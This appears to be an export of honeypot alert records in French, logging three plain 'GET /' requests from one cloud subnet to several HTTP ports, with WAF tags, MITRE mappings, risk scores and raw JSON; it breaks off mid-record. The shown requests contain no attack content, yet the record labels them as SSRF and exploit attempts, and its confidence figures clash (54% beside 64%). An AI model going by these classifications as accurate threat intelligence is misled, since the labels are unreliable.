Émulateur
HTTP
WAF
16
Recommandation
Investiguer
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
82
Chemin / cible
/
Pourquoi cette classification : Type « port_scan_syn » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Corrélation +10
Risque capteur
Moyen
· 55
Confiance : Confiance 100 % — 3 tag(s) WAF
Signaux
MITRE-T1046
SIGMA-net-port-scan
Beh Multi Port 60S
Tactiques MITRE
TA0043
Motifs de détection (base)
SSRF Any-address SSRF
Ligne de requête
GET / HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: 62.3.50.33:82
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36
Requête brute (extrait)
GET / HTTP/1.1 Host: 62.3.50.33:82 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "b00c56701bd04898edc8a488547d32d613363649",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 183,
"payload_entropy": 5.351078518897289,
"port_category": "well_known",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 82,
"risk_waf": 72,
"risk_classification": 64,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 25,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 4.2,
"risk_breakdown": {
"waf": 72,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 25,
"novelty": 15
},
"risk_score": 55,
"tag_count": 3,
"anomaly_count": 0,
"campaign_key": "39b03ee81ef13b98c0af55c09e73d3c33a944deb",
"event_fingerprint": "99d1fa91829a98776d27b93154df102b814f8f2d",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 231,
"precision_signals": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-multi-port-60s"
],
"kb_rule_ids": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-multi-port-60s"
],
"matched_patterns": [
"pat-0324"
],
"matched_pattern_names": [
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0324"
],
"confidence_breakdown": {
"waf": 72,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 25,
"novelty": 15,
"risk_score": 55,
"correlation_boost": 10
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "49f6c32db8d1f1e24c7963fdb8e90490",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 82,
"service": "http",
"service_name": "http",
"risk_score": 55
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:82\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36",
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:82\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:82\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:82\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:82\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "recon",
"mitre_tactics": [
"TA0043"
],
"mitre_techniques": [
"T1046"
],
"mitre": "T1046",
"threat_family": [
"scanner"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "655c73d69aed4944fbb124f126eb5eb75230dcc7",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 82,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:82\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36",
"attack_vector": "port scan syn \u00b7 via HTTP:82 \u00b7 (reconnaissance)",
"target_port_label": "82 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 55\/100 (Moyen) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 via HTTP \u2014 campagne \/24 (34.19.127.0\/24)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 72,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 25,
"novelty": 15,
"risk_score": 55,
"correlation_boost": 10
},
"attack_stage": "recon",
"attack_stage_label": "Reconnaissance",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 55,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 82,
"protocol_emulated": null,
"tags_summary": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-multi-port-60s"
],
"tags_summary_labels_fr": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"Beh Multi Port 60S"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1046",
"mitre_technique": "T1046",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 82,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port scan syn \u00b7 via HTTP:82 \u00b7 (reconnaissance)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:82\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36",
"target_port_label": "82 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +10 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": true,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "82"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 18,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"asn_dc_heuristic": true
}
31/07/2026 15:07:40 UTC
TCP
8081 · HTTP
SSRF interne
ssrf internal · via HTTP:8081 · (tentative d'exploit)
Élevée
Moyen · 55
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
TA0001
TA0001
TA0002
Protocole
GET / UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
16
Recommandation
Investiguer
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
net_web_probe
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8081
Chemin / cible
/
Pourquoi cette classification : Type « ssrf_internal » (signaux protocolaires) · confiance 54%
Confiance classification
64%
Corrélation +10
Risque capteur
Moyen
· 55
Confiance : Confiance 54 % — Motif catalogue confirmé · 3 tag(s) WAF
Protocole émulé
1 Signaux
CRS-920350
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
SSRF Any-address SSRF
Ligne de requête
GET / HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: 62.3.50.33:8081
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.
Requête brute (extrait)
GET / HTTP/1.1 Host: 62.3.50.33:8081 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "1994c0ff95f3f16c5fa9177d852edc4f1a4a8a24",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 185,
"payload_entropy": 5.3442683446057755,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8081,
"risk_waf": 72,
"risk_classification": 80,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 4.8,
"risk_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15
},
"risk_score": 55,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "91641af73e5a2129931417917b9efcb79fd24137",
"event_fingerprint": "e655cce1d5fb43c4d97a30acd0b655feb29cad21",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"confidence": 0.64,
"classification_confidence": 0.64,
"precision_score": 64,
"precision_signals": [
"CRS-920350"
],
"kb_rule_ids": [
"CRS-920350"
],
"matched_patterns": [
"pat-0324"
],
"matched_pattern_names": [
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0324"
],
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 55,
"correlation_boost": 10
},
"named_classification_skipped": false,
"classification_parent": "ssrf_attack",
"service_name": "http",
"risk_confidence_factor": 54,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "47e5b4b0aa604ad569add7a72c8c6ee0",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 8081,
"service": "http",
"service_name": "http",
"risk_score": 55
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "c40fadb664ddabffc6065febbad17e40bb5cf0f6",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"attack_vector": "ssrf internal \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit)",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"classification_reason_label_fr": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 55\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 64 % \u2014 via HTTP \u2014 campagne \/24 (34.19.127.0\/24)",
"confidence_pct": 64,
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 55,
"correlation_boost": 10
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 55,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8081,
"protocol_emulated": true,
"tags_summary": [
"CRS-920350"
],
"tags_summary_labels_fr": [
"CRS-920350"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "ssrf internal \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 64 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +10 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8081"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 8,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:07:32 UTC
TCP
10255 · HTTP
SSRF interne
ssrf internal · via HTTP:10255 · (tentative d'exploit)
Élevée
Moyen · 55
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0001
TA0001
TA0002
Protocole
GET / UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
16
Recommandation
Investiguer
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
net_web_probe
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
10255
Chemin / cible
/
Pourquoi cette classification : Type « ssrf_internal » (signaux protocolaires) · confiance 54%
Confiance classification
54%
Risque capteur
Moyen
· 55
Confiance : Confiance 54 % — Motif catalogue confirmé · 3 tag(s) WAF
Protocole émulé
1 Signaux
CRS-920350
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
SSRF Any-address SSRF
Ligne de requête
GET / HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: 62.3.50.33:10255
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537
Requête brute (extrait)
GET / HTTP/1.1 Host: 62.3.50.33:10255 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "23ee11e3646cd39a5b35e9fada819d04c44bd3c5",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 186,
"payload_entropy": 5.320568647541284,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 10255,
"risk_waf": 72,
"risk_classification": 80,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 5.4,
"risk_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15
},
"risk_score": 55,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "1f8cfcfe39d2b8021f2c426317f25aca7a61957f",
"event_fingerprint": "88e16ba2c299725cccba408fed503ad57e0579c4",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"confidence": 0.54,
"classification_confidence": 0.54,
"precision_score": 64,
"precision_signals": [
"CRS-920350"
],
"kb_rule_ids": [
"CRS-920350"
],
"matched_patterns": [
"pat-0324"
],
"matched_pattern_names": [
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0324"
],
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 55
},
"named_classification_skipped": false,
"classification_parent": "ssrf_attack",
"service_name": "http",
"risk_confidence_factor": 54,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "4fd4cdea17ac55b71aa3baa385b9e753",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 10255,
"service": "http",
"service_name": "http",
"risk_score": 55
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:10255\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537",
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:10255\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:10255\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:10255\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:10255\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "8934c9a4391eb04c927a53b0a394258628dbbb8d",
"protocol_details": {
"http_method": "GET",
